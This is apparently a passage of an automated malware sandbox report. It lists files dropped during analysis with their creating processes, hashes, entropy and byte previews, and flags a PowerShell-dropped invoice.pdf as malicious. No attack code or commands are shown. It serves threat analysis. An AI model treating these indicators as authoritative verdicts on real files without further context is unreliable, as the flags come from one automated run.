Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"80ea778c70ea32d6d047bcd3418b6cef","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569403000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4620a803a33b167cabc198812d250c0d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569403000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"263cb42e7dcb44ca0ccf2bb834fc5083","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569403000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5f89fc3b16ef90f99ba3e29e6a0c3867","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569403000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a0b79686c1cf815b01c6e08fd17fb143","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569403000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f76d8f982adb3f306c7e3d40760baf2c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196737745386538
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YpY+EXSqXl5:TGufl2GL7msUKB0M0+Tb608Y3ru
MD5:	EFA9DA6C9BBCB1621B5A039364131C02
SHA1:	8073D8CDCCC1142E0C5C389582C8E14F1CD986B3
SHA-256:	7BA99B7D58C1F1F359F3C3234C362C9BE4107133847AC5A43F930ED81DA40DE3
SHA-512:	4269552A33446395AFCE23A3DDA50C313A5BD4CC6130850C4B4347B9B9C983CF982916BB70A790FB8B23BB73E7F6880FDD644A7618F114A7B0A3B6ACCA778C49
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7821949337530414
Encrypted:	false
SSDEEP:	24:7+tJ4l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YpY/EXSqXlyGKaiyhqLhx/XYKi:7MQKB0M0+Tb608YmrGK+hqFl2GL7msq
MD5:	EE5B0EFC56A43CB3F07454D842064534
SHA1:	9F8F161DCAA29A0A86DCD91D0B1CD4DE1326004F
SHA-256:	3520FEB6C60ED84550BE9E2B489D38C2BE3F162C6992F16D252516CFBA2E68F4
SHA-512:	008317DC755F360366AFF36702F84A07BC0061BABD52940DEA79A49DCFCB80064A0712F363B5AF69D3613070A3F1073089F191E62642101EFCBB43283FD8F53D
Malicious:	false
Preview:	.... .c.......T..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0TYYdN/4K0UQ1dAHvGtbe9OtYyu:6a6TZ44ADE0TTN/Z0USS9uK
MD5:	367460CD302927F7F848BE53C38AA02A
SHA1:	A86859F7E4AEE38FA1EBB888ABF63D6280261868
SHA-256:	19FF644C8A86A6E2D4DF50A4CA8539D20EAB5F05D5E98B7A831F3543FFEC4D59
SHA-512:	CF1BF4B420FDEE0570D4E6E01671B4AF8DEB786D2E05C1550EBC9AC30141422DBADD9AE4D48029CF9D0FBB21EBB25B83ED5A4F8A3FD248F841BB65147E03A1A6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb0777.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4973455600014702
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClZCH:Qw946cPbiOxDlbYnuRK+bz
MD5:	D742F348086DE68B667C0D7C6DCDDC60
SHA1:	8C178625F1E573A572F664698BD6F434C4490C7E
SHA-256:	18A28370E9DF5091751DD6E9089387D09ADDAD0B19B879AAA5D3BBD9A11BEAAA
SHA-512:	9D32A82F3CD66362CB8F6F930ED7A48CB6A35329AAB20736106D79F6DCF2C52DAE90078B65290D2690D46F4BC99B2C3A3FB52514180DB8DCD443B1665305ED09
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.2.3.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ak2jyor3.eme.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmvar1ww.3rb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A914831sj_zrds0z_6b4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9jgar51_zrds12_6b4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-23-16-235.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347591934680192
Encrypted:	false
SSDEEP:	384:o+CHSSb8h2lluvIQomtzpTCXf8fMI95065bftRdcw9qOcNQr9w6dVUVUtcatC3/s:95n
MD5:	B4278F90ADBE2420244AAA74489BD28C
SHA1:	EEDB959562477BEB1E0171A478599BC71B55973A
SHA-256:	5A709E34F1C8EC6C776E68B7A41BECA2488A7AC4C9E39C75839CAF4371434FF5
SHA-512:	D622905B0958A28D2E225DA4C9C872A6C0F195CCBEA81CFF93E0445C4CF45B4EB80481796D5A618E371D961953A5C03981DD147F389207455910D23FB2999E48
Malicious:	false
Preview:	SessionID=bfd99565-eb66-4456-b709-91fef9e53d08.1736569396250 Timestamp=2025-01-10T23:23:16:250-0500 ThreadID=5668 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bfd99565-eb66-4456-b709-91fef9e53d08.1736569396250 Timestamp=2025-01-10T23:23:16:258-0500 ThreadID=5668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bfd99565-eb66-4456-b709-91fef9e53d08.1736569396250 Timestamp=2025-01-10T23:23:16:258-0500 ThreadID=5668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bfd99565-eb66-4456-b709-91fef9e53d08.1736569396250 Timestamp=2025-01-10T23:23:16:258-0500 ThreadID=5668 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bfd99565-eb66-4456-b709-91fef9e53d08.1736569396250 Timestamp=2025-01-10T23:23:16:258-0500 ThreadID=5668 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403429482733774
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmq:EGvIcNYdsZZI0yOOg/d+x
MD5:	9B71A5EE2EA8A8169921D52C30D7A584
SHA1:	B0020A062B84FBBA55F37C1ACFBAB68277C0783A
SHA-256:	665F01350FDEBAA5BA0E0339396706D8D046855B33D9E4A447D1AAFBD7BFF9DE
SHA-512:	4BCB30B6172ADB7D76FA89585AB55865AD2C96AF4C777673E1B617629B44A742EDC720E8298A7320500C88AE6C9C16ABD2758FE8DBA113830C9B4413877A3992
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0cfdb7b1-cd28-47f9-94a5-b65d1eb867ae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8b6d0a64-8e64-4ffa-8576-855b8380a528.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8e305004-b3c3-4b11-a651-8263d09cfb13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b6961392-8c58-4dc7-9062-f7354c84fa6c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
